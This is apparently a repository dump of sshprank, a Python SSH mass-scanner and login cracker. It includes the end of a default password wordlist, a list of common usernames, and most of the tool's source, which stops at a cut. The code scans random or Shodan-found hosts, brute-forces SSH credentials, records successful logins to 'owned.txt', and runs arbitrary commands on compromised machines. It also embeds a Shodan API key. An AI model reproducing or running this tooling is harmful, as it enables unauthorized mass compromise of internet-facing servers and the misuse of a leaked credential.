summer12?
Summer12
Summer12!
Summer12?
SUMMER12
SUMMER12!
SUMMER12?
summer123
summer123!
summer123?
Summer123
Summer123!
Summer123?
SUMMER123
SUMMER123!
SUMMER123?
summer1234
Summer1234
summer2
summer2!
summer2?
Summer2
Summer2!
Summer2?
SUMMER2
SUMMER2!
SUMMER2?
summer321
summer321!
summer321?
Summer321
Summer321!
Summer321?
SUMMER321
SUMMER321!
SUMMER321?
superadmin
superuser
support
sys
sys1
sys1!
sys123
sysadmin
system
system1
system1!
system123
System123
System123!
teacher
test
test1
test1!
test123
test123!
test1234
test2024
tester
tester1
tester1!
tester123
tester1234
testtest
TestTest
tomcat
tomcat123
toor
toor123
ubuntu
user
user01
user1
user1!
user123
@utumn!
@utumn#
@utumn.
@utumn?
@utumn@
@utumn1
@utumn1!
@utumn1?
@utumn12
@utumn12!
@utumn12?
@utumn123
@utumn123!
@utumn123?
@utumn2
@utumn2!
@utumn2?
@utumn321
@utumn321!
@utumn321?
vagina
Vagina
vagina1
vagina1!
Vagina1
vagina123
vagina123!
vagrant
web
web01
web1
web123
webadmin
webmaster
webmaster123
welcome
welcome1
Welcome1!
welcome123
Welcome123!
white
white1
white1!
white123
white123!
winter
winter!
winter#
winter.
winter?
winter@
Winter
Winter!
Winter#
Winter.
Winter?
Winter@
WINTER
WINTER!
WINTER#
WINTER.
WINTER?
WINTER@
winter1
winter1!
winter1?
Winter1
Winter1!
Winter1?
WINTER1
WINTER1!
WINTER1?
winter12
winter12!
winter12?
Winter12
Winter12!
Winter12?
WINTER12
WINTER12!
WINTER12?
winter123
winter123!
winter123?
Winter123
Winter123!
Winter123?
WINTER123
WINTER123!
WINTER123?
winter2
winter2!
winter2?
Winter2
Winter2!
Winter2?
WINTER2
WINTER2!
WINTER2?
winter321
winter321!
winter321?
Winter321
Winter321!
Winter321?
WINTER321
WINTER321!
WINTER321?
www
www123
www-data
yellow
zabbix


================================================
FILE: lists/user.list
================================================
accounting
admin
ansible
apache
backup
centos
debian
default
deploy
dev
developer
ec2-user
elastic
ftp
ftpuser
fwadmin
git
guest
guest01
guest1
hadoop
http
info
installer
jenkins
login
mail
mailadmin
maintainer
manager
minecraft
monitor
mysql
nagios
nginx
nobody
none
op
operator
oracle
pi
postgres
power
readonly
root
setup
ssh
student
superadmin
superuser
support
sys
sysadmin
system
teacher
test
tester
tomcat
toor
ubuntu
user
user01
user1
vagrant
web
web01
web1
webadmin
webmaster
www
www-data
zabbix


================================================
FILE: sshprank.py
================================================
#!/usr/bin/python3
# -*- coding: utf-8 -*- ########################################################
#               ____                     _ __                                  #
#    ___  __ __/ / /__ ___ ______ ______(_) /___ __                            #
#   / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // /                            #
#  /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, /                             #
#                                           /___/ team                         #
#                                                                              #
# sshprank                                                                     #
# A fast SSH mass-scanner, login cracker, banner grabber and password auth     #
# checker tool using the python-masscan and shodan module.                     #
#                                                                              #
# NOTES                                                                        #
# quick'n'dirty code                                                           #
#                                                                              #
# AUTHOR                                                                       #
# noptrix                                                                      #
#                                                                              #
################################################################################


import errno
import getopt
import hashlib
import json
import os
import signal
import sys
import socket
import tempfile
import time
import random
import ipaddress
import threading
from concurrent.futures import ThreadPoolExecutor, wait, FIRST_COMPLETED
import warnings
import logging
import masscan
import paramiko
import paramiko.transport as _pt
import shodan


__author__ = 'noptrix'
__version__ = '1.7.0'
__copyright__ = 'Santa Claus'
__license__ = 'MIT'


SUCCESS = 0
FAILURE = 1

NORM = '\033[0;37;10m'
BOLD = '\033[1;37;10m'
RED = '\033[1;31;10m'
GREEN = '\033[1;32;10m'
YELLOW = '\033[1;33;10m'
BLUE = '\033[1;34;10m'

BANNER = BLUE + r'''              __                           __
   __________/ /_  ____  _________ _____  / /__
  / ___/ ___/ __ \/ __ \/ ___/ __ `/ __ \/ //_/
 (__  |__  ) / / / /_/ / /  / /_/ / / / / ,<
/____/____/_/ /_/ .___/_/   \__,_/_/ /_/_/|_|
               /_/
''' + NORM + '''
      --== [ by nullsecurity.net ] ==--'''

HELP = BOLD + '''usage''' + NORM + '''

  sshprank <mode> [opts] | <misc>

''' + BOLD + '''mode options''' + NORM + '''

  -h <hosts[:ports]>    - single host, cidr, ip range or host list file to
                          crack. multiple ports can be separated by comma,
                          e.g.: 127.0.0.1:22,222,2022 or 192.168.1.0/24:22
                          or 192.168.1.10-192.168.1.50:22 or 10.0.0.1-50
                          (default port: 22)

  -m <opts> [-r <num>]  - pass arbitrary masscan opts, portscan given hosts and
                          crack for logins. found sshd services will be saved to
                          'sshds.txt' in supported format for '-h' option and
                          even for '-b'. use '-r' for generating random ipv4
                          addresses rather than scanning given hosts. these
                          options are always on: '-sS -oX - --open'.
                          NOTE: if you intent to use the '--banner' option then
                          you need to specify '--source-ip <some_ipaddr>' which
                          is needed by masscan. better check masscan options!

  -s <str;page;lim>     - search ssh servers using shodan and crack logins.
                          see examples below. note: you need a better API key
                          than this one i offer in order to search more than 100
                          (= 1 page) ssh servers. so if you use this one use
                          '1' for 'page'.

  -b <hosts[:ports]>    - grab sshd banner from given target(s)
                          (default port: 22)
                          format: same as '-h' option

  -p <hosts[:ports]>    - check sshd(s) for password auth support
                          (default port: 22)
                          format: same as '-h' option

''' + BOLD + '''scan options''' + NORM + '''

  -r <num>              - generate <num> random ipv4 addresses, check for open
                          sshd port and crack for login (only with -m option!)

''' + BOLD + '''credential options''' + NORM + '''

  -U <user|file>        - single username or user list (default: root)
  -P <pass|file>        - single password or password list (default: root)
  -c <file>             - list of user:pass combination

''' + BOLD + '''brute options''' + NORM + '''

  -e                    - exclude host after first login was found. continue
                          with other hosts instead
  -E                    - exit sshprank completely after first login was found
  -z                    - shuffle target list randomly before cracking
                          (only with -h <file>). saves to 'random_targets.txt'
  -Z <num>              - random brute: pick random target + creds each attempt.
                          <num> total attempts, 0 = infinite (use with -h, -U/-P)

''' + BOLD + '''exec options''' + NORM + '''

  -C <cmd|file>         - read commands from file (line by line) or execute a
                          single command on host if login was cracked
  -N                    - do not output ssh command results

''' + BOLD + '''thread options''' + NORM + '''

  -x <num>              - num threads for parallel host crack (default: 50)
  -S <num>              - num threads for parallel service crack (default: 20)
  -X <num>              - num threads for parallel login crack (default: 5)
  -B <num>              - num threads for parallel banner grabbing (default: 70)

''' + BOLD + '''timeout options''' + NORM + '''

  -T <sec>              - num sec for auth and connect timeout (default: 5s)
  -R <sec>              - num sec for (banner) read timeout (default: 3s)

''' + BOLD + '''output options''' + NORM + '''

  -o <file>             - write found logins to file. format:
                          <host>:<port>:<user>:<pass> (default: owned.txt)
  -v                    - verbose mode. show found logins, sshds, etc.
                          (default: off)

''' + BOLD + '''misc options''' + NORM + '''

  -i <str>              - spoof ssh client version string sent to sshd
                          (default: paramiko's default version string)
  -w <file>             - session file: if it exists, restore progress from
                          it (skip already-tried creds). on ctrl+c / -E,
                          state is auto-saved to ./sshprank_session.json
                          (or to <file> if -w was given). pass it back via
                          -w to resume.
  -H                    - print help
  -V                    - print version information

''' + BOLD + '''examples''' + NORM + '''

  # crack targets from a given list with user admin, pw-list and 20 host-threads
  $ sshprank -h sshds.txt -U admin -P /tmp/passlist.txt -x 20

  # first scan then crack from founds ssh services using 'root:admin'
  $ sudo sshprank -m '-p22,2022 --rate 5000 --source-ip 192.168.13.37 \\
    --range 192.168.13.1/24' -P admin

  # generate 1k random ipv4 addresses, then port-scan (tcp/22 here) with 1k p/s
  # and crack logins using 'root:root' on found sshds
  $ sudo sshprank -m '-p22 --rate=1000' -r 1000 -v

  # search 50 ssh servers via shodan and crack logins using 'root:root' against
  # found sshds
  $ sshprank -s 'SSH;1;50'

  # grab banners and output to file with format supported for '-h' option
  $ sshprank -b hosts.txt > sshds2.txt

  # check if sshds support password auth
  $ sshprank -p sshds.txt -v

  # shuffle target list and crack
  $ sshprank -h sshds.txt -z -U root -P /tmp/passes.txt

  # random brute: 500 random attempts from ip/user/pass lists
  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 500

  # random brute infinite (ctrl+c to stop)
  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 0

  # spoof ssh client version and crack
  $ sshprank -h sshds.txt -i 'SSH-2.0-OpenSSH_8.9p1'

  # check pwauth with spoofed version
  $ sshprank -p sshds.txt -i 'SSH-2.0-OpenSSH_7.4' -v

  # session file: ctrl+c, then run again to resume
  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -w sess.json
'''

DEFAULT_SESSION_PATH = './sshprank_session.json'

stargets = []   # shodan
excluded = {}
excluded_hosts = set()
_log_lock = threading.Lock()
_exclude_lock = threading.Lock()
_progress_lock = threading.Lock()
_attempts_done = 0
_attempts_total = 0
_progress_running = False
_progress_unbounded = False
_submitted_lock = threading.Lock()
_submitted = {}   # {host: {port: count}} - cumulative iteration position
opts = {
  'targets': {},
  'targetlist': None,
  'masscan_opts': '--open ',
  'sho_opts': None,
  'sho_str': None,
  'sho_page': None,
  'sho_lim': None,
  'sho_key': 'Pp1oDSiavzKQJSsRgdzuxFJs8PQXzBL9',
  'user': 'root',
  'pass': 'root',
  'cmd': None,
  'cmd_no_out': False,
  'hthreads': 50,
  'sthreads': 20,
  'lthreads': 5,
  'bthreads': 70,
  'ctimeout': 5,
  'rtimeout': 3,
  'logfile': 'owned.txt',
  'exclude': False,
  'exit': False,
  'shuffle': False,
  'randbrute': None,
  'verbose': False,
  'sshver': None,
  'session': None,
  'userlist_path': None,
  'passlist_path': None,
  'combolist_path': None
}


def log(msg='', _type='normal', pre_esc='', esc='\n'):
  iprefix = f'{BOLD}{BLUE}[+] {NORM}'
  gprefix = f'{BOLD}{GREEN}[*] {NORM}'
  wprefix = f'{BOLD}{YELLOW}[!] {NORM}'
  eprefix = f'{BOLD}{RED}[-] {NORM}'
  clear = '\r\033[K' if _progress_running else ''

  if _type == 'normal':
    sys.stdout.write(f'{msg}')
  elif _type == 'verbose':
    sys.stdout.write(f'    > {msg}{esc}')
  elif _type == 'info':
    sys.stderr.write(f'{clear}{pre_esc}{iprefix}{msg}{esc}')
  elif _type == 'good':
    sys.stderr.write(f'{clear}{pre_esc}{gprefix}{msg}{esc}')
  elif _type == 'warn':
    sys.stderr.write(f'{clear}{pre_esc}{wprefix}{msg}{esc}')
  elif _type == 'error':
    sys.stderr.write(f'{clear}{pre_esc}{eprefix}{msg}{esc}')
    _cleanup_temp_files()
    os._exit(FAILURE)
  elif _type == 'spin':
    sys.stderr.flush()
    for i in ('-', '\\', '|', '/'):
      sys.stderr.write(f'{pre_esc}{BOLD}{BLUE}[{i}] {NORM}{msg}')
      time.sleep(0.05)

  return


def parse_target(target):
  if target.endswith(':'):
    target = target.rstrip(':')

  dtarget = {target.rstrip(): ['22']}

  if ':' in target:
    starget = target.split(':')
    if starget[1]:
      try:
        if ',' in starget[1]:
          ports = [p.rstrip() for p in starget[1].split(',')]
        else:
          ports = [starget[1].rstrip('\n')]
        ports = list(filter(None, ports))
        dtarget = {starget[0].rstrip(): ports}
      except ValueError as err:
        log(err.args[0].lower(), 'error')

  return dtarget


def read_file(_file):
  try:
    with open(_file, 'r', encoding='latin-1') as f:
      return [line.rstrip('\r\n') for line in f if line.strip()]
  except (FileNotFoundError, PermissionError, OSError):
    log(f'could not read from {_file}', 'error')


_MAX_EXPANSION = 1_000_000
_temp_files = []


def _cleanup_temp_files():
  for p in _temp_files:
    try:
      if os.path.exists(p):
        os.unlink(p)
    except OSError:
      pass

  return


def _write_temp_targets(prefix, hosts, port_part):
  suffix = f':{port_part}' if port_part else ''
  fd, path = tempfile.mkstemp(prefix=prefix, suffix='.txt', text=True)
  try:
    with os.fdopen(fd, 'w') as f:
      for ip in hosts:
        f.write(f'{ip}{suffix}\n')
  except OSError as err:
    log(f'could not write target expansion: {err.strerror}', 'error')
    return None
  _temp_files.append(path)

  return path


def _expand_cidr_to_file(arg):
  if ':' in arg:
    host_part, port_part = arg.split(':', 1)
  else:
    host_part, port_part = arg, ''
  if '/' not in host_part or '.' not in host_part:
    return None
  try:
    net = ipaddress.ip_network(host_part.strip(), strict=False)
  except ValueError:
    return None
  count = net.num_addresses if net.num_addresses == 1 else max(0, net.num_addresses - 2)
  if count > _MAX_EXPANSION:
    log(f'cidr {host_part} expands to {count} hosts (max {_MAX_EXPANSION})',
        'error')
    return None
  hosts = [net.network_address] if net.num_addresses == 1 else list(net.hosts())

  return _write_temp_targets('sshprank_cidr_', hosts, port_part)


def _expand_range_to_file(arg):
  if ':' in arg:
    host_part, port_part = arg.split(':', 1)
  else:
    host_part, port_part = arg, ''
  if '-' not in host_part or '.' not in host_part:
    return None
  start_str, _, end_str = host_part.strip().partition('-')
  try:
    start = ipaddress.IPv4Address(start_str)
  except (ipaddress.AddressValueError, ValueError):
    return None
  if '.' in end_str:
    try:
      end = ipaddress.IPv4Address(end_str)
    except (ipaddress.AddressValueError, ValueError):
      return None
  else:
    if not end_str.isdigit() or not 0 <= int(end_str) <= 255:
      return None
    base = '.'.join(start_str.split('.')[:3])
    try:
      end = ipaddress.IPv4Address(f'{base}.{end_str}')
    except (ipaddress.AddressValueError, ValueError):
      return None
  if int(end) < int(start):
    log(f'invalid range: {host_part} (end < start)', 'error')
    return None
  count = int(end) - int(start) + 1
  if count > _MAX_EXPANSION:
    log(f'range {host_part} expands to {count} hosts (max {_MAX_EXPANSION})',
        'error')
    return None
  hosts = [ipaddress.IPv4Address(i) for i in range(int(start), int(end) + 1)]

  return _write_temp_targets('sshprank_range_', hosts, port_part)


def parse_cmdline(cmdline):
  global opts

  try:
    _opts, _args = getopt.gnu_getopt(cmdline,
      'h:m:s:b:p:r:U:P:c:C:Nx:S:X:B:T:R:o:i:w:eEzZ:vVH')
    if _args:
      log(f'unknown args: {", ".join(_args)}', 'error')
    for o, a in _opts:
      if o == '-h':
        if os.path.isfile(a):
          opts['targetlist'] = a
        else:
          expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a)
          if expanded:
            opts['targetlist'] = expanded
          else:
            opts['targets'] = parse_target(a)
      if o == '-m':
        opts['masscan_opts'] += a
      if o == '-s':
        opts['sho_opts'] = a
      if o == '-b':
        if os.path.isfile(a):
          opts['targetlist'] = a
        else:
          expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a)
          if expanded:
            opts['targetlist'] = expanded
          else:
            opts['targets'] = parse_target(a)
      if o == '-p':
        if os.path.isfile(a):
          opts['targetlist'] = a
        else:
          expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a)
          if expanded:
            opts['targetlist'] = expanded
          else:
            opts['targets'] = parse_target(a)
      if o == '-r':
        opts['random'] = int(a)
      if o == '-U':
        if os.path.isfile(a):
          opts['userlist'] = read_file(a)
          opts['userlist_path'] = a
        else:
          opts['user'] = a
      if o == '-P':
        if os.path.isfile(a):
          opts['passlist'] = read_file(a)
          opts['passlist_path'] = a
        else:
          opts['pass'] = a
      if o == '-c':
        raw = read_file(a) or []
        valid = []
        bad = []
        for line in raw:
          if ':' in line:
            valid.append(line)
          else:
            bad.append(line)
        opts['combolist'] = valid
        opts['combolist_path'] = a
        opts['_combo_bad_lines'] = bad
      if o == '-C':
        opts['cmd'] = a
      if o == '-N':
        opts['cmd_no_out'] = True
      if o == '-x':
        opts['hthreads'] = int(a)
      if o == '-S':
        opts['sthreads'] = int(a)
      if o == '-X':
        opts['lthreads'] = int(a)
      if o == '-B':
        opts['bthreads'] = int(a)
      if o == '-T':
        opts['ctimeout'] = int(a)
      if o == '-R':
        opts['rtimeout'] = int(a)
      if o == '-o':
        opts['logfile'] = a
      if o == '-i':
        opts['sshver'] = a
      if o == '-w':
        opts['session'] = a
      if o == '-e':
        opts['exclude'] = True
      if o == '-E':
        opts['exit'] = True
      if o == '-z':
        opts['shuffle'] = True
      if o == '-Z':
        opts['randbrute'] = int(a)
      if o == '-v':
        opts['verbose'] = True
      if o == '-V':
        log(f'sshprank v{__version__}', _type='info')
        sys.exit(SUCCESS)
      if o == '-H':
        log(HELP)
        sys.exit(SUCCESS)
    for k, flag in (('hthreads', '-x'), ('sthreads', '-S'),
                    ('lthreads', '-X'), ('bthreads', '-B')):
      if opts[k] < 1:
        log(f'{flag} must be >= 1 (got {opts[k]})', 'error')
    if 'random' in opts and opts['random'] < 1:
      log(f'-r must be >= 1 (got {opts["random"]})', 'error')
    if opts['randbrute'] is not None and opts['randbrute'] < 0:
      log(f'-Z must be >= 0 (got {opts["randbrute"]})', 'error')
    bad = opts.pop('_combo_bad_lines', [])
    if bad:
      if opts['verbose']:
        for line in bad:
          log(f'skipping malformed combo line: {line!r}', 'warn')
      else:
        log(f'skipped {len(bad)} malformed combo line(s)', 'warn')
  except (getopt.GetoptError, ValueError) as err:
    log(err.args[0].lower(), 'error')

  return


def check_argv(cmdline):
  modes = False
  needed = ['-h', '-m', '-s', '-b', '-p', '-H', '-V']

  if set(needed).isdisjoint(set(cmdline)):
    log('wrong usage dude, check help', 'error')

  if '-h' in cmdline:
    if '-m' in cmdline or '-s' in cmdline or \
        '-b' in cmdline or '-p' in cmdline:
      modes = True
  if '-m' in cmdline:
    if '-h' in cmdline or '-s' in cmdline or \
        '-b' in cmdline or '-p' in cmdline:
      modes = True
  if '-s' in cmdline:
    if '-h' in cmdline or '-m' in cmdline or \
        '-b' in cmdline or '-p' in cmdline:
      modes = True
  if '-b' in cmdline:
    if '-h' in cmdline or '-m' in cmdline or \
        '-s' in cmdline or '-p' in cmdline:
      modes = True
  if '-p' in cmdline:
    if '-h' in cmdline or '-m' in cmdline or \
        '-s' in cmdline or '-b' in cmdline:
      modes = True

  if modes:
    log('choose only one mode', 'error')

  opts['_session_eligible'] = not (
    '-b' in cmdline or '-p' in cmdline or '-Z' in cmdline)

  if '-w' in cmdline and not opts['_session_eligible']:
    log('-w (session) has no effect with -b/-p/-Z, ignoring', 'warn')
    opts['session'] = None

  if '-r' in cmdline and '-m' not in cmdline:
    log('-r requires -m', 'error')

  return


def check_argc(cmdline):
  if len(cmdline) == 0:
    log('use -H for help', 'error')

  return


def grab_banner(host, port):
  s = None
  try:
    s = socket.create_connection((host, int(port)), opts['ctimeout'])
    s.settimeout(opts['rtimeout'])
    banner = str(s.recv(1024).decode('utf-8', errors='replace')).strip()
    if not banner:
      banner = '<NO BANNER>'
    log(f'{host}:{port}:{banner}\n')
  except socket.timeout:
    if opts['verbose']:
      log(f'socket timeout: {host}:{port}', 'warn')
  except (OSError, ValueError):
    if opts['verbose']:
      log(f'could not connect: {host}:{port}', 'warn')
  finally:
    if s:
      s.close()

  return


class PortScanner(masscan.PortScanner):
  @property
  def scan_result(self):
    return self._scan_result


def portscan():
  try:
    m = PortScanner()
    m.scan(hosts='', ports='0', arguments=opts['masscan_opts'], sudo=True)
  except masscan.NetworkConnectionError as err:
    log('\n')
    log('no sshds found or network unreachable', 'error')
  except Exception as err:
    log('\n')
    log(f'unknown masscan error occured: {err}', 'error')

  return m


def grep_service(scan, service='ssh', prot='tcp'):
  targets = []

  scan_result = scan.scan_result or {}
  for h, hdata in scan_result.get('scan', {}).items():
    for p, pdata in hdata.get(prot, {}).items():
      if pdata.get('state') != 'open':
        continue
      services = pdata.get('services') or []
      if services:
        for s in services:
          banner = s.get('banner', '')
          name = s.get('name', '')
          target = f"{h}:{p}:{banner}\n"
          if opts['verbose']:
            log(f'found sshd: {target}', 'good', esc='')
          if service in name:
            targets.append(target)
      else:
        if opts['verbose']:
          log(f'found sshd: {h}:{p}:<no banner grab>', 'good', esc='\n')
        targets.append(f'{h}:{p}:<no banner grab>\n')

  return targets


def log_targets(targets, logfile):
  try:
    with _log_lock:
      with open(logfile, 'a') as f:
        f.writelines(targets)
  except (FileNotFoundError, PermissionError) as err:
    log(f'{err.args[1].lower()}: {logfile}', 'warn')

  return


def _hash_file(path):
  if not path or not os.path.isfile(path):
    return None
  h = hashlib.sha256()
  try:
    with open(path, 'rb') as f:
      for chunk in iter(lambda: f.read(65536), b''):
        h.update(chunk)
    return h.hexdigest()
  except OSError:
    return None

  return

def _save_session(path):
  if not path:
    return
  data = {
    'version': __version__,
    'saved_at': time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()),
    'hashes': {
      'userlist': _hash_file(opts.get('userlist_path')),
      'passlist': _hash_file(opts.get('passlist_path')),
      'combolist': _hash_file(opts.get('combolist_path')),
    },
    'submitted': {
      h: dict(ports) for h, ports in _submitted.items()
    },
    'excluded_hosts': sorted(excluded_hosts),
    'excluded_ports': {h: sorted(ps) for h, ps in excluded.items() if ps},
  }
  try:
    tmp = path + '.tmp'
    with open(tmp, 'w', encoding='utf-8') as f:
      json.dump(data, f, indent=2)
    os.replace(tmp, path)
  except OSError as err:
    log(f'could not save session to {path}: {err}', 'warn')

  return


def _resolve_session_path(interrupted):
  if opts['session']:
    return opts['session']
  if interrupted and opts.get('_session_eligible', True):
    return DEFAULT_SESSION_PATH

  return None


def _save_and_log_session(interrupted):
  path = _resolve_session_path(interrupted)
  if path:
    _save_session(path)
    log(f'session saved to {path}', 'info')


def _load_session(path):
  if not path or not os.path.isfile(path):
    return None
  try:
    with open(path, 'r', encoding='utf-8') as f:
      return json.load(f)
  except (OSError, json.JSONDecodeError) as err:
    log(f'session file corrupt ({err}), starting fresh', 'warn')
    return None

  return


def _apply_session(data):
  global _submitted
  hashes = data.get('hashes', {})
  for kind, path_key in (('userlist', 'userlist_path'),
                          ('passlist', 'passlist_path'),
                          ('combolist', 'combolist_path')):
    saved = hashes.get(kind)
    if not saved:
      continue
    cur = _hash_file(opts.get(path_key))
    if cur and cur != saved:
      log(f'{kind} changed since last session - results may be off', 'warn')
  with _submitted_lock:
    for h, ports in data.get('submitted', {}).items():
      _submitted[h] = {p: int(c) for p, c in ports.items()}
  for h in data.get('excluded_hosts', []):
    excluded_hosts.add(h)
  for h, ps in data.get('excluded_ports', {}).items():
    excluded.setdefault(h, set()).update(ps)

  return


def _progress_inc_done(n=1):
  global _attempts_done
  with _progress_lock:
    _attempts_done += n

  return


def _progress_inc_total(n):
  global _attempts_total
  with _progress_lock:
    _attempts_total += n

  return


def _progress_loop():
  iprefix = f'{BOLD}{BLUE}[+] {NORM}'
  while _progress_running:
    with _progress_lock:
      done, total = _attempts_done, _attempts_total
    if _progress_unbounded:
      sys.stderr.write(f'\r{iprefix}cracking {done} attempts   ')
      sys.stderr.flush()
    elif total > 0:
      pct = done / total * 100
      sys.stderr.write(f'\r{iprefix}cracking {done}/{total} ({pct:.2f}%)   ')
      sys.stderr.flush()
    time.sleep(0.25)
  with _progress_lock:
    done, total = _attempts_done, _attempts_total
  if _progress_unbounded:
    sys.stderr.write(f'\r{iprefix}cracking {done} attempts\n')
    sys.stderr.flush()
  elif total > 0:
    pct = done / total * 100
    sys.stderr.write(f'\r{iprefix}cracking {done}/{total} ({pct:.2f}%)\n')
    sys.stderr.flush()

  return


def status(future, msg, pre_esc=''):
  while future.running():
    log(msg, 'spin', pre_esc)

  return


def _run_remote_cmd(cli, cmd):
  try:
    stdin, stdout, stderr = cli.exec_command(cmd, timeout=opts['ctimeout'])
    try:
      stdin.channel.shutdown_write()
    except Exception:
      pass
    if opts['cmd_no_out']:
      return
    rl = stdout.readlines()
    el = stderr.readlines()
  except Exception as err:
    if opts['verbose']:
      log(f"ssh command failed: '{cmd}' ({str(err)})", 'warn')
    return
  if rl:
    log(f"ssh command result for: '{cmd}'", 'good', pre_esc='\n')
    for out in rl:
      log(f'{out}')
  if el:
    log(f"ssh command stderr for: '{cmd}'", 'warn', pre_esc='\n')
    for err in el:
      log(f'{err}')

  return


def crack_login(host, port, username, password):
  global excluded, excluded_hosts

  cli = paramiko.SSHClient()
  cli.set_missing_host_key_policy(paramiko.AutoAddPolicy())

  try:
    if host not in excluded_hosts and port not in excluded[host]:
      cli.connect(host, port, username, password, timeout=opts['ctimeout'],
        allow_agent=False, look_for_keys=False, auth_timeout=opts['ctimeout'])
      try:
        chan = cli.get_transport().open_session(timeout=opts['ctimeout'])
        chan.close()
      except Exception as err:
        if opts['verbose']:
          log(f'fake login: {host}:{port} (no channel: {str(err)})', 'warn')
        return
      if opts['exclude']:
        with _exclude_lock:
          if host in excluded_hosts:
            return
          excluded_hosts.add(host)
      login = f'{host}:{port}:{username}:{password}'
      log_targets(f'{login}\n', opts['logfile'])
      if opts['verbose']:
        log(f'found login: {login}', _type='good')
      else:
        log(f'found a login (check {opts["logfile"]})', _type='good')
      if opts['cmd']:
        if os.path.isfile(opts['cmd']):
          log(f"sending ssh commands from {opts['cmd']}", 'info')
          with open(opts['cmd'], 'r', encoding='latin-1') as _file:
            for cmd in _file:
              cmd = cmd.rstrip()
              if not cmd:
                continue
              _run_remote_cmd(cli, cmd)
        else:
          log('sending your single ssh command line', 'info')
          _run_remote_cmd(cli, opts['cmd'].rstrip())
      if opts['exit']:
        global _progress_running
        _progress_running = False
        _save_and_log_session(interrupted=True)
        log('game over', 'info')
        _cleanup_temp_files()
        os._exit(SUCCESS)
      return SUCCESS
  except paramiko.AuthenticationException as err:
    if 'publickey' in str(err):
      excluded[host].add(port)
    if opts['verbose']:
      if 'publickey' in str(err):
        reason = 'pubkey auth'
      elif 'Authentication failed' in str(err):
        reason = 'auth failed'
      elif 'Authentication timeout' in str(err):
        reason = 'auth timeout'
      else:
        reason = 'unknown'
      log(f'login failure: {host}:{port} ({reason})', 'warn')
  except (paramiko.ssh_exception.NoValidConnectionsError, socket.error):
    if opts['verbose']:
      log(f'could not connect: {host}:{port}', 'warn')
    excluded[host].add(port)
  except paramiko.SSHException as err:
    if opts['verbose']:
      log(f'ssh error: {host}:{port} ({str(err)})', 'warn')
  except Exception as err:
    if opts['verbose']:
      log(f'other error: {host}:{port} ({str(err)})', 'warn')
  finally:
    try:
      cli.close()
    except OSError:
      pass
    _progress_inc_done()

  return


def _creds_per_port():
  has_list = 'userlist' in opts or 'passlist' in opts or 'combolist' in opts
  c = 0 if has_list else 1

  if 'userlist' in opts and 'passlist' in opts:
    c += len(opts['userlist']) * len(opts['passlist'])
  elif 'userlist' in opts:
    c += len(opts['userlist'])
  elif 'passlist' in opts:
    c += len(opts['passlist'])
  if 'combolist' in opts:
    c += len(opts['combolist'])

  return c


def crack_port(host, port):
  with _submitted_lock:
    start_i = _submitted.get(host, {}).get(port, 0)
  if start_i > 0:
    _progress_inc_done(start_i)

  with ThreadPoolExecutor(opts['lthreads']) as exe:
    futures = set()
    max_pending = opts['lthreads'] * 4
    i = 0

    def submit(u, p):
      nonlocal futures, i
      i += 1
      if i <= start_i:
        return
      with _submitted_lock:
        _submitted.setdefault(host, {})[port] = i
      if len(futures) >= max_pending:
        _, futures = wait(futures, return_when=FIRST_COMPLETED)
      futures.add(exe.submit(crack_login, host, port, u, p))

    has_list = 'userlist' in opts or 'passlist' in opts or 'combolist' in opts
    if not has_list:
      submit(opts['user'], opts['pass'])

    if 'userlist' in opts and 'passlist' in opts:
      for u in opts['userlist']:
        for p in opts['passlist']:
          submit(u.rstrip(), p.rstrip())

    if 'userlist' in opts and 'passlist' not in opts:
      for u in opts['userlist']:
        submit(u.rstrip(), opts['pass'])

    if 'passlist' in opts and 'userlist' not in opts:
      for p in opts['passlist']:
        submit(opts['user'], p.rstrip())

    if 'combolist' in opts:
      for line in opts['combolist']:
        l = line.split(':', 1)
        submit(l[0].rstrip(), l[1].rstrip())

  return


def run_threads(host, ports):
  excluded.setdefault(host, set())

  with ThreadPoolExecutor(opts['sthreads']) as e:
    for port in ports:
      e.submit(crack_port, host, port)

  return


def gen_ipv4addr():
  try:
    ip = ipaddress.ip_address('.'.join(str(
      random.randint(0, 255)) for _ in range(4)))
    if not ip.is_loopback and not ip.is_private and not ip.is_multicast:
      return str(ip)
  except ValueError:
    pass

  return


def shuffle_targets():
  try:
    with open(opts['targetlist'], 'r', encoding='latin-1') as f:
      lines = f.readlines()
    random.shuffle(lines)
    shuffled = 'random_targets.txt'
    with open(shuffled, 'w', encoding='latin-1') as f:
      f.writelines(lines)
    opts['targetlist'] = shuffled
    log(f'shuffled {len(lines)} targets -> {shuffled}', 'info')
  except (FileNotFoundError, PermissionError) as err:
    log(f'{err.args[1].lower()}: {opts["targetlist"]}', 'error')

  return


def crack_rand_brute():
  try:
    with open(opts['targetlist'], 'r', encoding='latin-1') as f:
      hosts = [line.rstrip() for line in f if line.strip()]
  except (FileNotFoundError, PermissionError) as err:
    log(f'{err.args[1].lower()}: {opts["targetlist"]}', 'error')
    return

  users = opts.get('userlist', [opts['user']])
  passwords = opts.get('passlist', [opts['pass']])
  combos = opts.get('combolist', [])
  count = opts['randbrute']

  global _progress_unbounded
  if count > 0:
    _progress_inc_total(count)
  else:
    _progress_unbounded = True

  with ThreadPoolExecutor(opts['hthreads']) as exe:
    futures = set()
    max_pending = opts['hthreads'] * 4
    i = 0
    while count == 0 or i < count:
      target = random.choice(hosts)
      parsed = parse_target(target)
      host = list(parsed.keys())[0]
      port = random.choice(parsed[host])
      if combos:
        parts = random.choice(combos).split(':', 1)
        user = parts[0].rstrip()
        passwd = parts[1].rstrip()
      else:
        user = random.choice(users).rstrip()
        passwd = random.choice(passwords).rstrip()
      excluded.setdefault(host, set())
      if len(futures) >= max_pending:
        _, futures = wait(futures, return_when=FIRST_COMPLETED)
      futures.add(exe.submit(crack_login, host, port, user, passwd))
      i += 1

  return


def crack_single():
  host, ports = list(opts['targets'].copy().items())[0]
  if not host:
    log('empty host - check your -h argument', 'error')
  _progress_inc_total(len(ports) * _creds_per_port())
  run_threads(host, ports)

  return


def crack_multi():
  try:
    creds = _creds_per_port()
    with open(opts['targetlist'], 'r', encoding='latin-1') as f:
